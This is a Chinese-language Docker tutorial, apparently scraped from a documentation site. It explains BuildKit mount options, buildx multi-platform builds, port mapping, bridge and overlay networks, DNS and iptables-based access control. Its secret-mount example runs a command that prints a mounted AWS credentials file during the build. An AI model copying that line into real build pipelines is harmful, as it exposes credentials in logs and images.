**BuildKit** 是下一代的镜像构建组件，在 https://github.com/moby/buildkit 开源。

**注意：如果您的镜像构建使用的是云服务商提供的镜像构建服务（腾讯云容器服务、阿里云容器服务等），由于上述服务提供商的 Docker 版本低于 18.09，BuildKit 无法使用，将造成镜像构建失败。建议使用 BuildKit 构建镜像时使用一个新的 Dockerfile 文件（例如 Dockerfile.buildkit）**

目前，Docker Hub 自动构建已经支持 buildkit，具体请参考 https://github.com/docker-practice/docker-hub-buildx

### Dockerfile 新增指令详解

启用 `BuildKit` 之后，我们可以使用下面几个新的 `Dockerfile` 指令来加快镜像构建。

#### RUN --mount=type=cache

目前，几乎所有的程序都会使用依赖管理工具，例如 `Go` 中的 `go mod`、`Node.js` 中的 `npm` 等等，当我们构建一个镜像时，往往会重复的从互联网中获取依赖包，难以缓存，大大降低了镜像的构建效率。

例如一个前端工程需要用到 `npm`：

```dockerfile
FROM node:alpine as builder

WORKDIR /app

COPY package.json /app/

RUN npm i --registry=https://registry.npm.taobao.org \
        && rm -rf ~/.npm

COPY src /app/src

RUN npm run build

FROM nginx:alpine

COPY --from=builder /app/dist /app/dist
```

使用多阶段构建，构建的镜像中只包含了目标文件夹 `dist`，但仍然存在一些问题，当 `package.json` 文件变动时，`RUN npm i && rm -rf ~/.npm` 这一层会重新执行，变更多次后，生成了大量的中间层镜像。

为解决这个问题，进一步的我们可以设想一个类似 **数据卷** 的功能，在镜像构建时把 `node_modules` 文件夹挂载上去，在构建完成后，这个 `node_modules` 文件夹会自动卸载，实际的镜像中并不包含 `node_modules` 这个文件夹，这样我们就省去了每次获取依赖的时间，大大增加了镜像构建效率，同时也避免了生成了大量的中间层镜像。

`BuildKit` 提供了 `RUN --mount=type=cache` 指令，可以实现上边的设想。

```dockerfile
# syntax = docker/dockerfile:experimental
FROM node:alpine as builder

WORKDIR /app

COPY package.json /app/

RUN --mount=type=cache,target=/app/node_modules,id=my_app_npm_module,sharing=locked \
    --mount=type=cache,target=/root/.npm,id=npm_cache \
        npm i --registry=https://registry.npm.taobao.org

COPY src /app/src

RUN --mount=type=cache,target=/app/node_modules,id=my_app_npm_module,sharing=locked \
# --mount=type=cache,target=/app/dist,id=my_app_dist,sharing=locked \
        npm run build

FROM nginx:alpine

# COPY --from=builder /app/dist /app/dist

# 为了更直观的说明 from 和 source 指令，这里使用 RUN 指令
RUN --mount=type=cache,target=/tmp/dist,from=builder,source=/app/dist \
    # --mount=type=cache,target/tmp/dist,from=my_app_dist,sharing=locked \
    mkdir -p /app/dist && cp -r /tmp/dist/* /app/dist
```

**由于 `BuildKit` 为实验特性，每个 `Dockerfile` 文件开头都必须加上如下指令**

```dockerfile
# syntax = docker/dockerfile:experimental
```

第一个 `RUN` 指令执行后，`id` 为 `my_app_npm_module` 的缓存文件夹挂载到了 `/app/node_modules` 文件夹中。多次执行也不会产生多个中间层镜像。

第二个 `RUN` 指令执行时需要用到 `node_modules` 文件夹，`node_modules` 已经挂载，命令也可以正确执行。

第三个 `RUN` 指令将上一阶段产生的文件复制到指定位置，`from` 指明缓存的来源，这里 `builder` 表示缓存来源于构建的第一阶段，`source` 指明缓存来源的文件夹。

上面的 `Dockerfile` 中 `--mount=type=cache,...` 中指令作用如下：

| Option            | Description                                                  |
| ----------------- | ------------------------------------------------------------ |
| `id`              | `id` 设置一个标志，以便区分缓存。                            |
| `target` (必填项) | 缓存的挂载目标文件夹。                                       |
| `ro`,`readonly`   | 只读，缓存文件夹不能被写入。                                 |
| `sharing`         | 有 `shared` `private` `locked` 值可供选择。`sharing` 设置当一个缓存被多次使用时的表现，由于 `BuildKit` 支持并行构建，当多个步骤使用同一缓存时（同一 `id`）会发生冲突。`shared` 表示多个步骤可以同时读写，`private` 表示当多个步骤使用同一缓存时，每个步骤使用不同的缓存，`locked` 表示当一个步骤完成释放缓存后，后一个步骤才能继续使用该缓存。 |
| `from`            | 缓存来源（构建阶段），不填写时为空文件夹。                   |
| `source`          | 来源的文件夹路径。                                           |

#### RUN --mount=type=bind

该指令可以将一个镜像（或上一构建阶段）的文件挂载到指定位置。

```dockerfile
# syntax = docker/dockerfile:experimental
RUN --mount=type=bind,from=php:alpine,source=/usr/local/bin/docker-php-entrypoint,target=/docker-php-entrypoint \
        cat /docker-php-entrypoint
```

#### RUN --mount=type=tmpfs

该指令可以将一个 `tmpfs` 文件系统挂载到指定位置。

```dockerfile
# syntax = docker/dockerfile:experimental
RUN --mount=type=tmpfs,target=/temp \
        mount | grep /temp
```

#### RUN --mount=type=secret

该指令可以将一个文件(例如密钥)挂载到指定位置。

```docker
# syntax = docker/dockerfile:experimental
RUN --mount=type=secret,id=aws,target=/root/.aws/credentials \
        cat /root/.aws/credentials
```

```bash
docker build -t test --secret id=aws,src=$HOME/.aws/credentials .
```

#### RUN --mount=type=ssh

该指令可以挂载 `ssh` 密钥。

```dockerfile
# syntax = docker/dockerfile:experimental
FROM alpine
RUN apk add --no-cache openssh-client
RUN mkdir -p -m 0700 ~/.ssh && ssh-keyscan gitlab.com >> ~/.ssh/known_hosts
RUN --mount=type=ssh ssh git@gitlab.com | tee /hello
```

```bash
eval $(ssh-agent)
ssh-add ~/.ssh/id_rsa
(Input your passphrase here)
docker build -t test --ssh default=$SSH_AUTH_SOCK .
```

### docker-compose build 使用 Buildkit

设置 `COMPOSE_DOCKER_CLI_BUILD=1` 环境变量即可使用。

## 使用 Buildx 构建镜像

你可以直接使用 `docker buildx build` 命令构建镜像。

```bash
docker buildx build .

[+] Building 8.4s (23/32)
 => ...
```

Buildx 使用 BuildKit 引擎 进行构建，并且支持许多新的功能

## 使用 buildx 构建多种系统架构支持的 Docker 镜像

在之前的版本中构建多种系统架构支持的 Docker 镜像，要想使用统一的名字必须使用 `docker manifest` 命令。

在 Docker 19.03+ 版本中可以使用 `docker buildx build` 命令使用 `BuildKit` 构建镜像。该命令支持 `--platform` 参数可以同时构建支持多种系统架构的 Docker 镜像，大大简化了构建步骤。

### 新建 builder 实例

Docker for Linux 不支持构建 `arm` 架构镜像，我们可以运行一个新的容器让其支持该特性，Docker 桌面版无需进行此项设置。

```bash
docker run --rm --privileged tonistiigi/binfmt:latest --install all
```

由于 Docker 默认的 `builder` 实例不支持同时指定多个 `--platform`，我们必须首先创建一个新的 `builder` 实例。

同时由于国内拉取镜像较缓慢，我们可以使用配置了 [镜像加速地址 ](https://github.com/moby/buildkit/blob/master/docs/buildkitd.toml.md)的 [`dockerpracticesig/buildkit:master`](https://github.com/docker-practice/buildx)镜像替换官方镜像。

如果你有私有的镜像加速器，可以基于 https://github.com/docker-practice/buildx 构建自己的 buildkit 镜像并使用它。

```bash
# 适用于国内环境
docker buildx create --use --name=mybuilder-cn --driver docker-container --driver-opt image=dockerpracticesig/buildkit:master

# 适用于腾讯云环境(腾讯云主机、coding.net 持续集成)
docker buildx create --use --name=mybuilder-cn --driver docker-container --driver-opt image=dockerpracticesig/buildkit:master-tencent

# $ docker buildx create --name mybuilder --driver docker-container

docker buildx use mybuilder
```

### 构建镜像

新建 Dockerfile 文件。

```docker
FROM --platform=$TARGETPLATFORM alpine

RUN uname -a > /os.txt

CMD cat /os.txt
```

使用 `docker buildx build` 命令构建镜像，注意将 `myusername` 替换为自己的 Docker Hub 用户名。

`--push` 参数表示将构建好的镜像推送到 Docker 仓库。

```bash
docker buildx build --platform linux/arm,linux/arm64,linux/amd64 -t myusername/hello . --push

# 查看镜像信息
docker buildx imagetools inspect myusername/hello
```

在不同架构运行该镜像，可以得到该架构的信息。

```bash
# arm
docker run -it --rm myusername/hello
Linux buildkitsandbox 4.9.125-linuxkit #1 SMP Fri Sep 7 08:20:28 UTC 2018 armv7l Linux

# arm64
docker run -it --rm myusername/hello
Linux buildkitsandbox 4.9.125-linuxkit #1 SMP Fri Sep 7 08:20:28 UTC 2018 aarch64 Linux

# amd64
docker run -it --rm myusername/hello
Linux buildkitsandbox 4.9.125-linuxkit #1 SMP Fri Sep 7 08:20:28 UTC 2018 x86_64 Linux
```

### 架构相关变量

`Dockerfile` 支持如下架构相关的变量

**TARGETPLATFORM**

构建镜像的目标平台，例如 `linux/amd64`, `linux/arm/v7`, `windows/amd64`。

**TARGETOS**

`TARGETPLATFORM` 的 OS 类型，例如 `linux`, `windows`

**TARGETARCH**

`TARGETPLATFORM` 的架构类型，例如 `amd64`, `arm`

**TARGETVARIANT**

`TARGETPLATFORM` 的变种，该变量可能为空，例如 `v7`

**BUILDPLATFORM**

构建镜像主机平台，例如 `linux/amd64`

**BUILDOS**

`BUILDPLATFORM` 的 OS 类型，例如 \`linux

**BUILDARCH**

`BUILDPLATFORM` 的架构类型，例如 `amd64`

**BUILDVARIANT**

`BUILDPLATFORM` 的变种，该变量可能为空，例如 `v7`

#### 使用举例

例如我们要构建支持 `linux/arm/v7` 和 `linux/amd64` 两种架构的镜像。假设已经生成了两个平台对应的二进制文件：

* `bin/dist-linux-arm`
* `bin/dist-linux-amd64`

那么 `Dockerfile` 可以这样书写：

```dockerfile
FROM scratch

# 使用变量必须申明
ARG TARGETOS

ARG TARGETARCH

COPY bin/dist-${TARGETOS}-${TARGETARCH} /dist

ENTRYPOINT ["dist"]
```

---

---
url: /docker/i55dyy53/index.md
---
## 端口映射

容器中可以运行一些网络应用，要让外部也可以访问这些应用，可以通过 `-P` 或 `-p` 参数来指定端口映射。

当使用 `-P` 标记时，Docker 会随机映射一个端口到内部容器开放的网络端口。

`-p` 则可以指定要映射的端口，并且，在一个指定端口上只可以绑定一个容器，支持的格式有 `ip:hostPort:containerPort | ip::containerPort | hostPort:containerPort`。

```bash
419bb2720cc1   nginx:alpine      "/docker-entrypoint.…"   34 hours ago   Up 34 hours   0.0.0.0:50->80/tcp
```

本地主机的 50 被映射到了容器的 80 端口。此时访问本机的 50 端口即可访问容器内 NGINX 默认页面。

同样的，可以通过 `docker logs` 命令来查看访问记录。

### 映射所有接口地址

使用 `hostPort:containerPort` 格式本地的 80 端口映射到容器的 80 端口，可以执行

```bash
docker run -d -p 80:80 nginx:alpine
```

此时默认会绑定本地所有接口上的所有地址。

### 映射到指定地址的指定端口

可以使用 `ip:hostPort:containerPort` 格式指定映射使用一个特定地址，比如 localhost 地址 127.0.0.1

```bash
docker run -d -p 127.0.0.1:80:80 nginx:alpine
```

### 映射到指定地址的任意端口

使用 `ip::containerPort` 绑定 localhost 的任意端口到容器的 80 端口，本地主机会自动分配一个端口。

```bash
docker run -d -p 127.0.0.1::80 nginx:alpine
```

还可以使用 `udp` 标记来指定 `udp` 端口

```bash
docker run -d -p 127.0.0.1:80:80/udp nginx:alpine
```

### 查看映射端口配置

使用 `docker port` 来查看当前映射的端口配置，也可以查看到绑定的地址

```bash
docker port nginx:alpine 80
# 0.0.0.0:50
```

注意：

* 容器有自己的内部网络和 ip 地址（使用 `docker inspect` 查看，Docker 还可以有一个可变的网络配置。）
* `-p` 标记可以多次使用来绑定多个端口

## 容器互联

### 新建网络

创建一个新的 Docker 网络。

```bash
docker network create -d bridge my-net
```

`-d` 参数指定 Docker 网络类型，有 `bridge` `overlay`。

### 连接容器

运行一个容器并连接到新建的 `my-net` 网络

```bash
docker run -it --rm --name busybox1 --network my-net busybox sh
```

打开新的终端，再运行一个容器并加入到 `my-net` 网络

```bash
docker run -it --rm --name busybox2 --network my-net busybox sh
```

再打开一个新的终端查看容器信息

```bash
docker container ls

CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES
b47060aca56b        busybox             "sh"                11 minutes ago      Up 11 minutes                           busybox2
8720575823ec        busybox             "sh"                16 minutes ago      Up 16 minutes                           busybox1
```

下面通过 `ping` 来证明 `busybox1` 容器和 `busybox2` 容器建立了互联关系。

在 `busybox1` 容器输入以下命令

```bash
ping busybox2

PING busybox2 (172.19.0.3): 56 data bytes
64 bytes from 172.19.0.3: seq=0 ttl=64 time=0.072 ms
64 bytes from 172.19.0.3: seq=1 ttl=64 time=0.118 ms
```

用 ping 来测试连接 `busybox2` 容器，它会解析成 `172.19.0.3`。

同理在 `busybox2` 容器执行 `ping busybox1`，也会成功连接到。

```bash
/ # ping busybox1
PING busybox1 (172.19.0.2): 56 data bytes
64 bytes from 172.19.0.2: seq=0 ttl=64 time=0.064 ms
64 bytes from 172.19.0.2: seq=1 ttl=64 time=0.143 ms
```

这样，`busybox1` 容器和 `busybox2` 容器建立了互联关系。

如果你有多个容器之间需要互相连接，推荐使用 Docker Compose。

## 配置 DNS

Docker 通过挂载虚拟文件来管理容器的网络配置文件：

* `/etc/hostname`：容器主机名
* `/etc/hosts`：主机名与 IP 的映射
* `/etc/resolv.conf`：DNS 服务器配置

这些文件与宿主机关联，因此宿主机的 DNS 更新可自动同步到容器中。

**全局配置（影响所有容器）**

在宿主机的 `/etc/docker/daemon.json` 文件中添加：

```json
{
  "dns": ["114.114.114.114", "8.8.8.8"]
}
```

重启 Docker 服务后，所有新启动的容器都会自动使用该 DNS。

验证命令：

```bash
docker run -it --rm ubuntu:18.04 cat /etc/resolv.conf
```

**单独配置（影响某个容器）**

在 `docker run` 时指定参数：

| 参数                          | 作用                                                         |
| ----------------------------- | ------------------------------------------------------------ |
| `-h` 或 `--hostname=HOSTNAME` | 设置容器主机名（写入 `/etc/hostname` 和 `/etc/hosts`）       |
| `--dns=IP_ADDRESS`            | 指定容器使用的 DNS 服务器（写入 `/etc/resolv.conf`）         |
| `--dns-search=DOMAIN`         | 设置搜索域（如 `--dns-search=example.com` 会解析 `host` 为 `host.example.com`） |

如果不指定 `--dns` 或 `--dns-search`，Docker 默认会继承宿主机的 `/etc/resolv.conf`。

**总结**：Docker 通过挂载虚拟文件 `/etc/hostname`、`/etc/hosts`、`/etc/resolv.conf` 实现容器主机名和 DNS 配置。

可通过 **全局配置文件** 设置所有容器的 DNS，也可在 **docker run** 时为单个容器手动指定。

## 高级网络配置

Docker 安装后，会自动创建几个默认网络：

| 网络名           | 类型           | 说明                       |
| ---------------- | -------------- | -------------------------- |
| `bridge`         | 桥接网络       | 默认网络，容器间用 IP 通信 |
| `host`           | 主机网络       | 直接使用宿主机网络，无隔离 |
| `none`           | 无网络         | 完全断网模式               |
| （用户自定义的） | 桥接或其他类型 | 最推荐的实践方式           |

默认 `bridge` 网络虽然方便，但容器名无法直接互相解析（要用 IP），而 **自定义 bridge 网络** 则支持容器名自动 DNS 解析，非常方便。

::: details 什么是网桥

想象一下一个办公室里有多台电脑：

* 每台电脑都有自己的网线（网卡）；
* 它们都插在同一个交换机上；
* 交换机会在电脑之间转发数据，让它们能互相通信。

在网络世界里，这个 **交换机** 的角色，就是“**网桥（bridge）**”。

网桥的作用：**连接多个网络接口，让它们像在同一个局域网里一样通信**。

在传统 Linux 网络中：

* **物理网卡（eth0）** 负责与外界通信；
* **虚拟网桥（bridge）** 是一个虚拟交换机；
* **虚拟网卡（veth pair）** 是桥与容器之间的“网线”。

可以这样理解结构：

```bash
[容器A eth0]──┐
               │
[veth pair]──[br0]──[宿主机 eth0]──Internet
               │
[容器B eth0]──┘
```

`br0`（或 Docker 默认的 `docker0`）就是 Linux 网桥设备，它让所有挂上去的容器像在同一个交换机里一样互通。

当你安装 Docker 时，它默认会创建一个虚拟网桥：

```bash
docker0: 172.17.0.1/16
```

然后，每当你运行一个容器：

* Docker 会创建一对虚拟网卡（`veth`）；
* 一端放进容器（当作容器的 `eth0`）；
* 另一端连接到 `docker0` 网桥。

于是容器获得一个虚拟 IP，比如：

```bash
172.17.0.2
```

多个容器都挂到同一个 `docker0` 上，于是它们能互相通信，而且通过 NAT（iptables）规则，也能访问外网。

查看宿主机的网桥：

```bash
brctl show	
```

输出示例：

```bash
bridge name	bridge id		STP enabled	interfaces
docker0		8000.0242ac110002	no		veth12345
```

说明：

`bridge name` 是虚拟网桥；

`interfaces` 是接入桥的虚拟网卡（即连接的容器）。

**网桥（bridge）** 是一种让多个虚拟或物理网卡组成同一局域网的网络设备。在 Docker 中，它就像一个虚拟交换机，负责让容器之间互相通信。

:::

| 类型                            | 特点                                     | 通信路径                                        |
| ------------------------------- | ---------------------------------------- | ----------------------------------------------- |
| `bridge`（默认）                | 所有容器连接到宿主机的虚拟网桥 `docker0` | 容器 → docker0 → 宿主机网卡 → 公网              |
| 自定义 `bridge`                 | 创建自定义子网（如 172.18.0.0/16）       | 容器 → my-bridge → docker0 → 宿主机网卡         |
| `overlay`（Swarm 或跨主机网络） | 在多个主机之间创建虚拟子网               | 容器 → overlay 子网 → VXLAN 隧道 → 另一主机网桥 |
| `macvlan`                       | 容器直接“拥有”宿主机的物理网卡 MAC 地址  | 容器 → 物理网络（绕过网桥）                     |

也就是说，容器可能：

* **直接连接默认网桥（docker0）**；
* **连接到一个自定义 bridge 子网（桥连在桥上）**；
* **甚至跨宿主机通过 overlay 网络连接**。

但无论哪种情况，最终访问外网时，都会经由宿主机的物理网络接口（eth0、ens33 等）转发出去

**总结**：容器的所有网络流量最终都会经过宿主机的虚拟网桥（bridge）与物理网卡转发出站。即使存在自定义子网或多层网络，它们本质上仍通过宿主机网络访问外部世界。

**Overlay 网络** 是 Docker 提供的一种虚拟网络技术，用于 **在多个宿主机之间创建一个逻辑上的虚拟局域网（VLAN 类似，但更灵活）**。

可以把它理解为：比子网更高级的虚拟局域网，可以跨宿主机，把多个 Docker 主机上的容器看作同一个网络段里的机器。

**原理**

Overlay 网络会在宿主机之间创建 **隧道（VXLAN）**：

* 容器的流量先从容器 veth 进入本机的 overlay 网桥；
* 再封装成 VXLAN 包，通过宿主机物理网络发送到其他宿主机；
* 到达目标宿主机解封装，再进入目标容器。

容器间可以直接通过容器名互相访问，就像在同一个局域网里一样。

**与自定义子网（bridge）对比**

| 特性           | 自定义 bridge                       | Overlay                                        |
| -------------- | ----------------------------------- | ---------------------------------------------- |
| **作用范围**   | 单宿主机                            | 多宿主机 / 集群                                |
| **连接方式**   | 容器 → 网桥 → 宿主机 → NAT / 物理网 | 容器 → overlay 虚拟网 → VXLAN → 另一宿主机容器 |
| **容器名解析** | 内建 DNS（单宿主机）                | 内建 DNS（跨主机集群）                         |
| **出站 NAT**   | 容器访问外网需要 NAT                | 容器访问外网通常由宿主机 NAT                   |
| **应用场景**   | 单机开发、测试                      | Swarm/Kubernetes 集群、跨主机服务通信          |
| **复杂度**     | 简单                                | 高，需要集群控制平面支持                       |

可以理解为：**bridge 是局部局域网，overlay 是跨宿主机的“虚拟局域网”**。

**Overlay 的实际用途**

**Docker Swarm / Kubernetes 集群**

* 让不同宿主机上的服务容器互联，就像在同一个局域网；
* 支持容器名解析（service name）和自动负载均衡。

**微服务架构**

* 不管容器在集群哪个节点，都可以通过逻辑网络访问服务；
* 解决跨主机通信问题。

**跨数据中心 / 私有云**

* 可以在物理网络不互通的情况下，通过 overlay 隧道互联容器。

**Overlay 与自定义子网结合使用**

在 overlay 网络内部，每个服务或容器依然会有自己的子网（比如 10.0.0.0/24、10.0.1.0/24）；

你可以理解成：

* **Overlay** = “跨宿主机的虚拟交换机”
* **子网** = “交换机内部划分的小网络段”

**总结**：Overlay 网络 = 更高级的虚拟局域网，用于跨宿主机容器通信，通常用于集群环境，而自定义子网（bridge）只限于单宿主机。

::: note

**单宿主机自定义子网（Custom Bridge）**

特点：

* **范围**：仅限当前宿主机。

* **容器名解析**：支持。容器 A 可以通过容器名访问容器 B。

* **通信机制**：

  ```bash
  容器 → veth → 自定义 bridge → 宿主机 → 容器
  ```

* **外网访问**：通过宿主机 NAT。

* **用途**：单机开发、测试、轻量部署。

换句话说，它是一个 **局域网**，容器间通信完全没问题，但只局限在一台宿主机上。

:::

::: note

**Overlay 网络（跨宿主机自定义子网）**

特点：

* **范围**：可以跨多台宿主机。

* **容器名解析**：支持。无论容器在哪台宿主机，都能通过服务名访问。

* **通信机制**：

  ```
  容器 → veth → overlay 网桥 → VXLAN 隧道 → 另一宿主机 overlay → 目标容器
  ```

* **外网访问**：依然通过宿主机 NAT。

* **用途**：Swarm / Kubernetes / 集群微服务。

Overlay 网络可以把不同宿主机上的容器逻辑上放到同一个局域网里，所以才适合集群环境。

:::

**为什么单宿主机自定义子网不能直接“集群化”**

* 单宿主机的 bridge 网络，只能管理当前主机的 veth 对接和 IP 分配。
* 如果你把 bridge 网络跨宿主机直接用，没有 VXLAN 或类似隧道，宿主机之间根本不知道对方网络存在。
* 容器名解析和路由只在本地主机生效，跨宿主机无法自动解析。

所以 **桥接子网可以在单机里实现容器名通信，但要跨机器就必须 overlay 或类似的隧道技术**。

**自定义子网是单宿主机级别的“虚拟局域网”，Overlay 是跨宿主机的“虚拟局域网+隧道”，前者方便本地通信，后者适合集群环境。**

***

当 Docker 启动时，会自动在主机上创建一个 `docker0` 虚拟网桥，实际上是 Linux 的一个 bridge，可以理解为一个软件交换机。它会在挂载到它的网口之间进行转发。

同时，Docker 随机分配一个本地未占用的私有网段中的一个地址给 `docker0` 接口。比如典型的 `172.17.42.1`，掩码为 `255.255.0.0`。此后启动的容器内的网口也会自动分配一个同一网段（`172.17.0.0/16`）的地址。

当创建一个 Docker 容器的时候，同时会创建了一对 `veth pair` 接口（当数据包发送到一个接口时，另外一个接口也可以收到相同的数据包）。

这对接口一端在容器内，即 `eth0`；另一端在本地并被挂载到 `docker0` 网桥，名称以 `veth` 开头（例如 `vethAQI2QT`）。

通过这种方式，主机可以跟容器通信，容器之间也可以相互通信。Docker 就创建了在主机和所有容器之间一个虚拟共享网络。

![](https://img.yumgjs.com/2025/10/05/68e21a47ee797.png)

### 相关命令

**其中有些命令选项只有在 Docker 服务启动的时候才能配置，而且不能马上生效。**

* `-b BRIDGE` 或 `--bridge=BRIDGE` 指定 Docker 容器挂载的默认网桥，例如 docker0 或自定义桥接网络。所有新建容器默认连接到这个网桥。
* `--bip=CIDR` 设置 docker0 网桥的 IP 地址和子网掩码。例如 `--bip=172.18.0.1/16`，用于容器分配 IP。
* `-H SOCKET...` 或 `--host=SOCKET...` 指定 Docker 服务端监听的通道，可以是 Unix Socket 或 TCP Socket，用于接受 Docker CLI 或 API 命令。
* `--icc=true|false` 是否支持容器之间进行通信
* `--ip-forward=true|false` 允许你的宿主操作系统内核转发网络流量，如果没有开启 IP 转发，容器将无法“走出去”（访问互联网）或“走进来”（通过端口映射被访问）。Docker 通常会默认启用它。
* `--iptables=true|false` 是否允许 Docker 添加 iptables 规则
* `--mtu=BYTES` 设置容器网络接口的最大传输单元（MTU），用于优化网络性能或兼容隧道。

**下面 2 个命令选项既可以在启动服务时指定，也可以在启动容器时指定。在 Docker 服务启动的时候指定则会成为默认值，后面执行 `docker run` 时可以覆盖设置的默认值。**

* `--dns=IP_ADDRESS...` 指定容器使用的 DNS 服务器 IP，可在 daemon 设置默认，也可在单容器启动时覆盖。
* `--dns-search=DOMAIN...` 设置容器的 DNS 搜索域，例如 `example.com`，用于解析短域名。

**最后这些选项只有在 `docker run` 执行时使用，因为它是针对容器的特性内容。**

* `-h HOSTNAME` 或 `--hostname=HOSTNAME` 设置容器内部的主机名，写入容器的 `/etc/hostname` 和 `/etc/hosts`。
* `--link=CONTAINER_NAME:ALIAS` 将当前容器与另一个容器建立连接，使容器可以通过别名互相访问（已被自定义网络和 overlay 网络替代）。
* `--net=bridge|none|container:NAME_or_ID|host` 配置容器的桥接模式
* `-p SPEC` 或 `--publish=SPEC` 映射容器端口到宿主机端口，例如 `-p 8080:80` 表示宿主机 8080 映射到容器 80 端口。
* `-P or --publish-all=true|false` 映射容器所有端口到宿主主机

### 容器访问控制

在 Linux 容器（如 Docker、Podman）中，容器的网络访问控制主要依赖 **Linux 内核的防火墙机制**，通常是 **`iptables`** 或现代系统上的 **`nftables`**。具体说明：

**iptables 是默认防火墙**

* Linux 内核自带 `iptables`，大部分发行版默认安装。
* 它通过 **规则链（chains）和表（tables）** 控制网络流量，可以过滤入站、出站、转发的数据包。
* 容器启动时，Docker 等容器引擎会自动在 `iptables` 上创建规则，实现 **NAT 转发、端口映射、网络隔离**。

**容器访问控制的实现方式**

* **NAT（网络地址转换）**：通过 `iptables` 的 `nat` 表，将容器内部端口映射到宿主机端口。
* **网络隔离**：容器默认使用独立的网络命名空间，配合 `iptables` 规则限制容器间或容器与外部的通信。
* **端口/流量控制**：可以通过自定义 `iptables` 规则限制哪些 IP 或端口可以访问容器。

**现代替代方案**

* 新版本 Linux 偏向使用 **`nftables`**，Docker 也在逐步支持。
* 上层工具如 **`firewalld`** 或 **`ufw`** 也能管理容器访问规则，但容器引擎通常直接操作底层防火墙。

容器要想访问外部网络，需要本地系统的转发支持。在Linux 系统中，检查转发是否打开。

**简而言之**：容器的访问控制依赖 Linux 内核提供的防火墙功能，`iptables` 是最常用的默认工具，容器引擎会在其上自动配置规则来实现端口映射和网络隔离。

### 容器访问外部网络的条件

**网络命名空间隔离**

* 容器通常运行在独立的网络命名空间中，拥有自己的 IP 地址和网络栈。
* 默认情况下，这个网络命名空间和宿主机外部网络是隔离的。

**需要宿主机进行 IP 转发**

* 容器访问外部网络（如互联网）时，宿主机需要将容器的流量 **路由转发** 到外部网络。
* Linux 内核通过 **IP 转发功能** 控制这一行为。

**检查或开启 IP 转发**

* 查看当前状态：

```bash
sysctl net.ipv4.ip_forward
# net.ipv4.ip_forward = 1
```

返回 `1` 表示开启，`0` 表示关闭。

* 临时开启：

```bash
sysctl -w net.ipv4.ip_forward=1
```

永久开启（重启后仍生效）：编辑 `/etc/sysctl.conf`，添加或修改：

```bash
net.ipv4.ip_forward = 1
```

然后执行：

```bash
sysctl -p
```

**结合防火墙实现 NAT**

* 容器引擎（如 Docker）通常会在宿主机 `iptables` 上添加 **MASQUERADE/NAT 规则**，把容器流量映射到宿主机的公网 IP。
* 有了 IP 转发和 NAT，容器就可以访问外部网络，同时保持容器内网地址独立。

**总结一句话**：容器访问外部网络必须依赖宿主机的 **IP 转发**，可以通过 `sysctl net.ipv4.ip_forward` 检查和开启；结合防火墙 NAT 规则，实现容器网络与外部网络的通信。

一般情况下 **官方的 Docker 安装脚本** 或者通过官方包安装 Docker 时，会自动开启 IP 转发（`net.ipv4.ip_forward=1`），以确保容器可以访问外部网络。

通常你不需要手动去开启这个参数，除非你做了自定义内核网络设置或者禁用了 Docker 的默认配置。

### 容器之间访问

容器要互相访问（比如容器 A 访问容器 B 的服务），需要满足两个条件：

1. **网络拓扑允许通信**
2. **宿主机防火墙允许通信**

**容器网络拓扑（Topology）**

什么是网络拓扑？

* 拓扑就是**网络中设备之间的连接关系**。
* 对容器来说，拓扑决定了容器是否在同一个网络里，以及它们之间能否直接通信。

**Docker 的默认网络拓扑**

Docker 安装后，会创建一个默认网桥 `docker0`：

* 这是宿主机上的一个虚拟网桥（类似交换机）。
* 默认情况下，所有新建的容器都会连接到 `docker0`。
* 容器会分配一个私有 IP（比如 172.17.0.x），在同一网桥内，容器之间可以互相访问。

**拓扑的类型**

Docker 支持几种网络模式，每种模式的拓扑不同：

| 模式           | 描述                                   | 容器互访情况                                         |
| -------------- | -------------------------------------- | ---------------------------------------------------- |
| bridge（默认） | 容器连接到宿主机上的虚拟网桥 `docker0` | 同一桥内可互访，不同桥默认隔离                       |
| host           | 容器共享宿主机网络栈                   | 容器可以直接访问宿主机网络，也可访问宿主机的其他服务 |
| overlay        | 跨主机容器互联                         | 用于 Swarm 集群，跨物理机通信                        |
| none           | 容器没有网络接口                       | 容器之间无法通信                                     |

所以，默认情况下，容器在同一个 `docker0` 网桥里，拓扑上是互联的。

**防火墙的影响（iptables）**

即使网络拓扑允许，宿主机防火墙也可能阻止容器间通信。

Docker 启动时，会在宿主机的 `iptables` 中添加规则：

* 允许同一桥接网络的容器之间互相访问。
* 实现端口映射和 NAT。

如果你手动配置了防火墙或禁用了 Docker 的 iptables 规则，容器之间的互访可能会被阻止。

检查方法：

```bash
# 查看 docker0 网桥
ip addr show docker0

# 查看容器之间的防火墙规则
sudo iptables -L -v -n
```

**容器互访示意流程**

1. 容器 A 发起访问 → 目标 IP 是容器 B 的私有 IP。
2. 数据包通过 docker0 网桥转发到容器 B。
3. iptables 规则检查是否允许 → 允许则通过，阻止则丢弃。
4. 数据到达容器 B，通信完成。

**总结**

* **拓扑**决定容器能否在逻辑上互联，默认 `docker0` 网桥允许同桥容器互访。
* **防火墙**决定数据包能否被宿主机允许通过。
* Docker 默认配置下，容器可以互访，不需要额外操作；自定义网络或严格防火墙时，需要注意规则配置。

### 访问指定端口

在 Docker 中，即使关闭了容器之间的默认网络访问（通过 `-icc=false`），仍然可以通过 **`--link`** 选项访问指定容器的开放端口。

启动 Docker 服务时，可以使用参数：

```bash
dockerd --icc=false --iptables=true
```

`icc=false`：禁止容器间默认相互访问

`--iptables=true`：允许 Docker 修改宿主机的 iptables 规则

此时，宿主机默认的 iptables 规则可能类似：

```bash
Chain FORWARD (policy ACCEPT)
target     prot opt source       destination
DROP       all  --  0.0.0.0/0  0.0.0.0/0
```

默认拒绝容器之间的通信。

使用 `--link` 实现访问，启动容器时使用：

```bash
docker run --link CONTAINER_NAME:ALIAS ...
```

`CONTAINER_NAME`：目标容器的名字（Docker 自动分配或通过 `--name` 指定）

`ALIAS`：在当前容器内使用的别名

Docker 会在 iptables 中自动添加规则，只允许两个容器之间的指定端口互访（通常基于 Dockerfile 中的 `EXPOSE` 指令），例如：

```bash
Chain FORWARD (policy ACCEPT)
target     prot opt source       destination
ACCEPT     tcp  --  172.17.0.2  172.17.0.3  tcp spt:80
ACCEPT     tcp  --  172.17.0.3  172.17.0.2  tcp dpt:80
DROP       all  --  0.0.0.0/0  0.0.0.0/0
```

这样，即使默认禁止容器间通信，使用 `--link` 的容器仍可以通过指定端口互相访问。

**注意**

* `--link` 中的 **CONTAINER\_NAME** 必须是 Docker 分配的容器名，或者通过 `--name` 指定的名字。
* 容器的主机名不会被识别。
